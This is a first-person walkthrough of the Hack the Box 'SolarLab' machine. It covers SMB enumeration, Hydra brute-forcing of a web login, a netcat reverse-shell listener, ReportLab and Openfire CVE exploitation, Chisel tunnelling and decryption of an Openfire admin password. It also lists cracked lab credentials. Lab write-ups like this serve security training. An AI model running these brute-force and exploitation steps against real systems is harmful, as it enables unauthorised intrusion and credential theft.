For this Hack the Box (HTB) machine, techniques such as Enumeration, user pivoting, and privilege escalation were used to obtain both the user and root flags.
Below you can find of the tools that I used to complete this challenge
- Kali Linux: An operating system that specializes in penetration testing.
- Nmap: An open-source tool for network exploration, along with security auditing
- Crackmapexec: Automates the active directory of networks. This can be used for Password Spraying, Credential Validation and Command Execution.
- Hydra: A well-known login cracker that is used for Brute Force Attacks.
I will go into detail regarding the steps taken. We will go over the initial reconnaissance, identifying avenues of exploitation, exploitation foothold, then post exploitation.
As with the first step of any HTB challenge, or penetration test, is to do a network scan. Below is a screenshot of the Nmap findings.
sudo nmap -sS -p- 10.10.11.16 -v
Nmap scan report for solarlab.htb (10.10.11.16)
Host is up (0.039s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6791/tcp open hnm
}It is interesting to see that port 6791 is open. After research, I found that hnm is Halcyon Network Manager. I went to the page and saw a login page for a ReportLab/ReportHub login.
This will be useful for later. In the meantime, port 445 was open and was explored in hopes of finding an exploit. Crackmapexec was used to make an attempt to log in as a guest via smb.
crackmapexec smb solarlab.htb -u Guest -p "" --shares
Results:
SMB solarlab.htb 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB solarlab.htb 445 SOLARLAB [+] solarlab\Guest:
SMB solarlab.htb 445 SOLARLAB [+] Enumerated shares
SMB solarlab.htb 445 SOLARLAB Share Permissions Remark
SMB solarlab.htb 445 SOLARLAB ----- ----------- ------
SMB solarlab.htb 445 SOLARLAB ADMIN$ Remote Admin
SMB solarlab.htb 445 SOLARLAB C$ Default share
SMB solarlab.htb 445 SOLARLAB Documents READ
SMB solarlab.htb 445 SOLARLAB IPC$ READ Remote IPC
}Surprisingly we don't need a password as a guest login, and we see that we have access to the share drive, along with some documents.
─(kali㉿kali)-[~]
└─$ smbclient //solarlab.htb/Documents -U Guest
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (94.6 KiloBytes/sec) (average 94.6 KiloBytes/sec)
After looking at the details-file.xlsx, we see that we have a list of logins, social security numbers, and various other personal details of the staff in Solar Labs.
Now that it is possible to access port 445 anonymously, we can use crackmapexec to brute force Relative Identifiers.
crackmapexec smb solarlab.htb -u anonymous -p '' --rid-brute
SMB solarlab.htb 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB solarlab.htb 445 SOLARLAB [+] solarlab\anonymous:
SMB solarlab.htb 445 SOLARLAB [+] Brute forcing RIDs
SMB solarlab.htb 445 SOLARLAB 500: SOLARLAB\Administrator (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 501: SOLARLAB\Guest (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 513: SOLARLAB\None (SidTypeGroup)
SMB solarlab.htb 445 SOLARLAB 1000: SOLARLAB\blake (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 1001: SOLARLAB\openfire (SidTypeUser)
We see that blake is a user, of which we found his login information within the excel file. With this information, we should be able to brute force the ReportHub login via Hydra.
hydra -L /home/kali/wordlist/solarlab_user_word_list.txt -P /home/kali/wordlist/solarlabs_wl_pass.txt report.solarlab.htb -s 6791 http-post-form "/login:username=^USER^&password=^PASS^&enter=Login:User not found." -V
We get a list of usernames. Notice how they start with their name, and end in the capital of their last name. Now we will focus on Blake and brute force only his potential username/password.
hydra -l BlakeB -P /home/kali/wordlist/solarlabs_wl_pass.txt report.solarlab.htb -s 6791 http-post-form "/login:username=^USER^&password=^PASS^&enter=Login:User not found." -V
Now we can log into the ReportHub Dashboard.
After some analysis, each of the options generates a pdf. There is a vulnerability (CVE-2023-33733) that will exploit the pdf generating ability, which will allow us to get a reverse shell into the local network.
To do so, I simply used a reverse shell generator and plugged in the payload into the python script.
For simplicity, here are the steps used to get the reverse shell:
- Used a Reverse Shell Generator: https://www.revshells.com/
- Plug in the payload (illustrated below) in the python script: https://github.com/c53elyas/CVE-2023-33733
- After this set up, since it’s possible to intercept, and alter the Training Request text and plug the malicious script.
- Before we Forward the response, we set up a listener on port 4444 (Or the port you set up a netcat listener).
sudo rlwrap nc -lnvp 4444
After completing these above steps, we have a foothold within the network.
From our foothold, we see that we are logged in as the user blake.
With the foothold established, we begin to explore directories. In doing so, we are able to capture the user flag.
In one of the directories, we discovered a user.db file. We can use the type command to get user login information.
As this is not the most flattering snapshot, we can deduct the following information:
user pass
alexanderk HotP!fireguard
007poiuytrewq claudias007
blakeb ThisCanB3typedeasily1@
However, to escalate our privileges, we will have to pivot to another user in hopes to further escalate our privileges.
When exploring, we discovered a user named openfire via the Get-LocalUser command. After some googling, we discovered that openfire is an instant messaging and group chat server. The Services that Openfire provides run on ports 9090 and 9091.
I confirmed this via the command below, which gives us a IP and port of 127.0.0.1:9090.
C:\users\blake\desktop> netstat -ano | findstr "9090"
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 2244
To get access to openfire, we will have to navigate to port 9090 or port 9091. We will have to tunnel via reverse port forwarding to those ports. To help us, Chisel is a great tool that helps with reverse port forwarding. We can simply clone the respiratory from GitHub, execute the build, then upload the windows.exe to execute the port forwarding.
After we complete the build and installation, we will run the command below to open a reverse port forward from our machines side.
Attacker Machine (our Machine):
Victim Machine (command highlighted below):
Once we see a connection on the attacking machine's side, after typing localhost:9090 into a web browser we are greeted with an openfire login page.
Even though we don't have any leads regarding logins specific to a Openfire login, we can use an exploit via CVE-2023-32315 which can bypass the authentication.
Now we have a user name and password we can use to log into openfire.
Once we use our credentials, we are greeted with the openfire GUI.
For the exploit we just used. there is a .jar plugin that we can upload which will give us a server management tool. As we see, the default password is 123.
The management tool can be found by going to the home GUI page, server -> server_setting -> management tools.
We can use the dropdown bar and select system command. Here we can execute commands like we could on the command prompt.
We can use the same technique as we did before to get a reverse shell as blake. We will simply just use the reverse shell generator as we did above, plug it in the command GUI and use net cat as a listener.
We have officially pivoted from blake to openfire. After looking around in the directory, we see "embedded-db" which looks promising. After using the type command, we will get an encrypted Administrator password.
We also discovered a password key in openfire.script. We can easily decrypt the openfire password hash via the openfire_decrypt tool in the link below. Once we have that, we will have the administrator password.
Given how unstable the shell was for this lab, I searched for the root file to confirm that it was under the user Administrator.
After confirmation, I ran another command as administrator to pull the root flag.
